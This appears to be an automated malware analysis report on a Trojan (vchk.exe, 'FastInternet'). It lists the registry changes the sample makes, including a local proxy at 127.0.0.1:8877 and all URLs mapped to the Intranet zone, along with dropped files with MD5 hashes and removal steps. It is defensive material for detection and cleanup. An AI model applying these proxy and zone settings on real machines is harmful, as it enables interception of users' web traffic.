[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process vchk.exe:2016 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 26 00 00 00 03 00 00 00 28 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride" = ""

"ProxyServer" = "http=127.0.0.1:8877;https=127.0.0.1:8877"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A0 70 F2 19 32 26 FA A4 C2 F9 A7 AC BC AC 4F 9A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"-loopback>

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process taskkill.exe:1140 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A BE 1A B6 87 92 41 E3 2C 22 8F 88 79 F2 AD 97"

The process taskkill.exe:1300 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D DD 36 D6 A8 E0 AE 61 46 27 88 BA F9 61 94 39"

The process taskkill.exe:156 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB 4F 4D D0 49 E1 86 BA BE 08 10 98 34 55 D5 F3"

The process taskkill.exe:312 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 D9 23 81 D4 B6 2B E1 25 DF 1E 93 1F DF 1B A6"

The process taskkill.exe:980 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "71 F0 8E BF F4 20 02 DE 3C FE C9 E6 BE 11 90 FA"

The process taskkill.exe:856 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7F C6 C3 0F B3 E1 05 67 EC 57 A8 11 8D 87 DF 6A"

The process taskkill.exe:1124 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 37 8E 0E CD C2 58 9F 15 34 10 8C 90 F5 E9 85"

The process taskkill.exe:576 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CB B5 D2 5B FB AC A4 87 C8 12 A2 CF 35 8D F7 28"

The process taskkill.exe:1228 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EA CB D1 53 69 1E CF 51 FF 1B 7C 15 A7 96 E5 86"

The process taskkill.exe:392 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "18 BC 56 93 F6 FF 33 29 41 40 B5 60 EE 21 51 7B"

The process taskkill.exe:1872 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "98 2F AE CB C9 13 8D 5A AA D3 20 F4 15 3C DB D0"

The process taskkill.exe:1484 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "38 A6 64 2F 86 15 34 98 2A 60 C5 A4 37 11 64 F4"

The process taskkill.exe:176 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 EB 10 47 F3 D2 DD E3 83 E5 C3 57 76 82 8D E2"

The process taskkill.exe:172 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B5 24 BA 02 26 F7 9F D8 C6 92 6A 42 CE A6 60 DF"

The process taskkill.exe:204 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 7D E2 B1 46 32 01 BE 1A F1 4B 43 99 C8 CC FE"

The process taskkill.exe:1712 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 22 CD A5 80 78 ED 6E 6C 82 7B CB EB 8A 16 DF"

The process taskkill.exe:1816 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "24 F7 DA 5F F0 3F 19 AC C0 E8 96 41 13 52 A9 AB"

The process taskkill.exe:1964 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D8 6C 8D C1 75 23 BD 5A 69 77 D1 6C 92 30 08 75"

The process taskkill.exe:668 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "82 0C 03 9F 13 E4 86 11 0B 9A 54 FB 33 2B AE 7C"

The process taskkill.exe:1156 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "35 24 BB EF 0D 95 E2 0E 2B BF 70 5A 1F 96 69 85"

The process taskkill.exe:416 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C1 12 B3 B5 2E 6E 17 51 84 A9 DF EC E6 7F 82 94"

The process taskkill.exe:1988 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E 13 1F 89 84 B9 A5 94 5A F3 2A 4F 32 AF 6E 93"

The process taskkill.exe:1256 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 93 53 2F 61 EF A9 84 22 A7 5A A5 15 DE 83 3B"

The process taskkill.exe:520 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CF AF 58 C6 8C 0B 1F 7D CF 3E FE DC 98 15 E3 DE"

The process taskkill.exe:1468 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "89 9E BD 49 DB 65 39 4C A1 82 4D F5 10 B0 8A 0A"

The process taskkill.exe:544 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 4B 5A 12 C4 40 EC 61 A5 C0 AC 04 AD 13 FC 0F"

The process taskkill.exe:328 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B2 F4 AA 81 72 71 0B 28 B6 97 AB CC 33 69 6E D6"

The process taskkill.exe:1656 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 41 97 EC 1E 0E AA 85 74 35 3A 9F 08 60 F2 C6"

The process taskkill.exe:584 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 F1 2A 98 E6 45 90 32 A9 4F 3F FC 03 26 EA B1"

The process taskkill.exe:1260 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "67 35 27 E3 29 15 3F 01 CC E8 A4 EC 33 6C 3E 31"

The process taskkill.exe:756 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "13 DA B8 F5 94 02 2F 29 29 09 DA F5 5D 98 88 DE"

The process taskkill.exe:580 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6F 0C EE C0 13 68 D4 B7 55 43 B0 5A 2E 95 7D D6"

The process taskkill.exe:1284 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7F 64 47 35 FA 07 C2 FC 0B C8 5F 8B 20 71 6F 86"

The process taskkill.exe:1272 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B0 2F D8 02 6C 04 9A 55 B5 9D 42 13 E9 67 A2 13"

The process taskkill.exe:1336 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "56 D3 33 90 0F 63 38 48 E3 80 67 96 C5 E3 2C EC"

The process taskkill.exe:1984 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "74 8D 95 EF B0 68 7B 6A 90 B9 03 F2 E4 C3 75 6B"

The process taskkill.exe:1804 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A7 F6 A0 4D 3E 9E FD F8 5D 58 FA E9 ED 17 1F BD"

The process taskkill.exe:196 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DF 16 A7 A0 FE 01 6A 59 01 E5 D6 04 BC E3 9E D5"

The process taskkill.exe:1864 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F3 70 55 25 59 1A DB 9D 7C 4C A0 64 29 B6 C7 76"

The process taskkill.exe:1888 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 54 76 B4 1C 1A 6F 4E 78 79 40 5D E2 F3 4B 37"

The process taskkill.exe:220 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "31 F2 AE 48 1B 37 32 07 AA 5A 97 8D 87 01 EA 08"

The process taskkill.exe:868 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD 21 83 0F 30 B3 A0 C7 80 EA 30 C8 02 52 2A 70"

The process taskkill.exe:1848 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CF FA 5F 40 D8 C6 FE A8 59 C6 63 8B F6 B8 E1 D2"

The process taskkill.exe:1624 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "53 22 E4 FE B1 40 A0 5F A3 72 C5 1E E9 1C 51 66"

The process taskkill.exe:1060 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "39 CF 1A 87 59 80 F3 FC 1A BE 2D F0 3E 04 C4 EC"

The process taskkill.exe:1628 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "60 35 1C DD 96 86 BA 33 B1 0B 85 47 03 64 F0 FD"

The process taskkill.exe:1648 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1F 30 28 FB B4 5E 45 C2 F7 29 5C 2F E6 CE EE 36"

The process taskkill.exe:1808 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 6A DF D4 BC 25 DA 79 74 B8 59 FC 27 0A 10 24"

The process taskkill.exe:536 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D7 DF 60 A4 9F 70 94 E4 56 C7 6B 64 F1 1D 93 31"

The process taskkill.exe:1768 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "02 4F CA 80 4B 20 F1 8D 7F DA 70 7E CE 92 5B EC"

The process taskkill.exe:1452 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 C5 58 29 D4 C2 72 01 D0 2F 44 89 50 CF 25 0A"

The process taskkill.exe:1412 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 5A 82 89 E5 5E C7 2A 03 D4 E0 80 D5 AF 62 C6"

The process taskkill.exe:1972 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "95 74 78 55 CB 62 62 F3 EE FF 95 3D A3 2D 3A F6"

The process taskkill.exe:240 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E4 36 02 A5 34 3D 45 A9 92 8C 07 F3 DD FB A6 59"

Dropped PE files

MD5 File path
a632e8db250976257ee2e73d658ada12c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\yuntnani\vchk.exe
c17103ae9072a06da581dec998343fc1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsc1C.tmp\System.dll
c17103ae9072a06da581dec998343fc1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh19.tmp\System.dll
c498ae64b4971132bba676873978de1ec:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh19.tmp\inetc.dll
acc2b699edfea5bf5aae45aba3a41e96c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh19.tmp\nsExec.dll
8614c450637267afacad1645e23ba24ac:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsm12.tmp\FindProcDLL.dll
c17103ae9072a06da581dec998343fc1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsm12.tmp\System.dll
8614c450637267afacad1645e23ba24ac:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsn14.tmp\FindProcDLL.dll
c17103ae9072a06da581dec998343fc1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsn14.tmp\System.dll
c498ae64b4971132bba676873978de1ec:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsn14.tmp\inetc.dll
99f345cf51b6c3c317d20a81acb11012c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso16.tmp\KillProcDLL.dll
c17103ae9072a06da581dec998343fc1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso16.tmp\System.dll
c498ae64b4971132bba676873978de1ec:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso16.tmp\inetc.dll
c17103ae9072a06da581dec998343fc1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu17.tmp\System.dll
c498ae64b4971132bba676873978de1ec:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu17.tmp\inetc.dll
acc2b699edfea5bf5aae45aba3a41e96c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu17.tmp\nsExec.dll
2df723b3cb50a002fca6e8c63a7a487fc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\EwyLuFd30KHCoG0EFQa8[1].exe
a632e8db250976257ee2e73d658ada12c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\vchk[1].exe
cb6a1aa1be943fd5aa85bd18708f759bc:\Program Files\FastInternet\app.exe
29ff2eda9ef60448c67860c675175072c:\Program Files\FastInternet\dotuninstall.exe
42badc1d2f03a8b1e4875740d3d49336c:\a\7za.exe
2df723b3cb50a002fca6e8c63a7a487fc:\a\EwyLuFd30KHCoG0EFQa8.exe
b19e81fc91a71a7222e63ea4f09771afc:\a\FiddlerCore.dll
da9dbf01355305af60037cd13ccf2968c:\a\getcap.exe
2943023b33bb769d64721d4edccbd00bc:\a\internetport3.exe
e703835506e5dab34f20b5b496a38f72c:\a\wcheckf.exe
813d46d64e42bf222676084e12e2e80dc:\a\wincheckfe.exe
7988bca8dfaacb79579fd000a31e69cfc:\a\winonit.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:424
    WMIC.exe:552
    vchk.exe:732
    taskkill.exe:1140
    taskkill.exe:1300
    taskkill.exe:156
    taskkill.exe:312
    taskkill.exe:980
    taskkill.exe:856
    taskkill.exe:1124
    taskkill.exe:576
    taskkill.exe:1228
    taskkill.exe:392
    taskkill.exe:1872
    taskkill.exe:1484
    taskkill.exe:176
    taskkill.exe:172
    taskkill.exe:204
    taskkill.exe:1712
    taskkill.exe:1816
    taskkill.exe:1964
    taskkill.exe:668
    taskkill.exe:1156
    taskkill.exe:416
    taskkill.exe:1988
    taskkill.exe:1256
    taskkill.exe:520
    taskkill.exe:1468
    taskkill.exe:544
    taskkill.exe:328
    taskkill.exe:1656
    taskkill.exe:584
    taskkill.exe:1260
    taskkill.exe:756
    taskkill.exe:580
    taskkill.exe:1284
    taskkill.exe:1272
    taskkill.exe:1336
    taskkill.exe:1984
    taskkill.exe:1804
    taskkill.exe:196
    taskkill.exe:1864
    taskkill.exe:1888
    taskkill.exe:220
    taskkill.exe:868
    taskkill.exe:1848
    taskkill.exe:1624
    taskkill.exe:1060
    taskkill.exe:1628
    taskkill.exe:1648
    taskkill.exe:1808
    taskkill.exe:536
    taskkill.exe:1768
    taskkill.exe:1452
    taskkill.exe:1412
    taskkill.exe:1972
    taskkill.exe:240

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\a\avv.txt (2791 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nso16.tmp\inetc.dll (20 bytes)
    C:\a\ahho.txt (4 bytes)
    C:\a\auur.txt (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\vv[1].htm (2791 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\hho[1].htm (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nso16.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\uur[1].htm (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nso16.tmp\KillProcDLL.dll (4 bytes)
    C:\a\FiddlerCore.dll (9485 bytes)
    C:\a\zuur.txt (2 bytes)
    C:\a\internetport3.exe (10 bytes)
    C:\a\wcheckf.exe (397 bytes)
    C:\a\getcap.exe (10027 bytes)
    C:\a\zhho.txt (3 bytes)
    C:\a\zvchk.txt (3 bytes)
    %Program Files%\FastInternet\app.exe (1078 bytes)
    C:\a\uniqueEwyLuFd30KHCoG0EFQa8.ini (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\EwyLuFd30KHCoG0EFQa8[1].exe (3808 bytes)
    C:\a\winonit.exe (435 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\pwgen.dll (17 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\SimpleFC.dll (5289 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
    C:\a\ayyyyy.txt (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\uniqueEwyLuFd30KHCoG0EFQa8[1].htm (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
    C:\a\ukey.ini (27 bytes)
    C:\a\EwyLuFd30KHCoG0EFQa8.exe (3808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cki[1].htm (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\AccessControl.dll (13 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\System.dll (11 bytes)
    C:\a\mCWsvmKja7.exe (5873 bytes)
    C:\a\zvv.txt (21 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\bdcount[1].htm (8 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\UAC.dll (13 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsvE.tmp\inetc.dll (20 bytes)
    C:\a\7296948.bat (287 bytes)
    %System%\28211531.bat (18 bytes)
    C:\a\ver.ini (8 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\Startup\intr.lnk (520 bytes)
    %Program Files%\FastInternet\dotuninstall.exe (1084 bytes)
    C:\a\wincheckfe.exe (778 bytes)
    C:\a\install.txt (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\apEwyLuFd30KHCoG0EFQa8.html (324 bytes)
    C:\a\1logff.txt (718 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\ns2D.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ckkkp[1].htm (324 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\inetc.dll (20 bytes)
    C:\a\1loogg2.txt (170 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsu17.tmp\nsExec.dll (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\aEwyLuFd30KHCoG0EFQa8.html (303 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\localhost[1].htm (716 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\EwyLuFd30KHCoG0EFQa8.html (716 bytes)
    C:\a\vv11111.txt (23724 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ckkk[1].htm (303 bytes)
    C:\a\7za.exe (15192 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsc1C.tmp\System.dll (11 bytes)
    C:\a\logff.txt (718 bytes)
    C:\a\loogg2.txt (240 bytes)
    %Program Files%\FastInternet\TempWmicBatchFile.bat (0 bytes)
    C:\a\ProcessList.txt (1888 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsm12.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsm12.tmp\FindProcDLL.dll (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn14.tmp\FindProcDLL.dll (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn14.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\vchk[1].exe (3808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe (3808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsn14.tmp\inetc.dll (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsr1D.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns27.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4C.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns28.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5E.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns41.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns48.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns64.tmp (6 bytes)
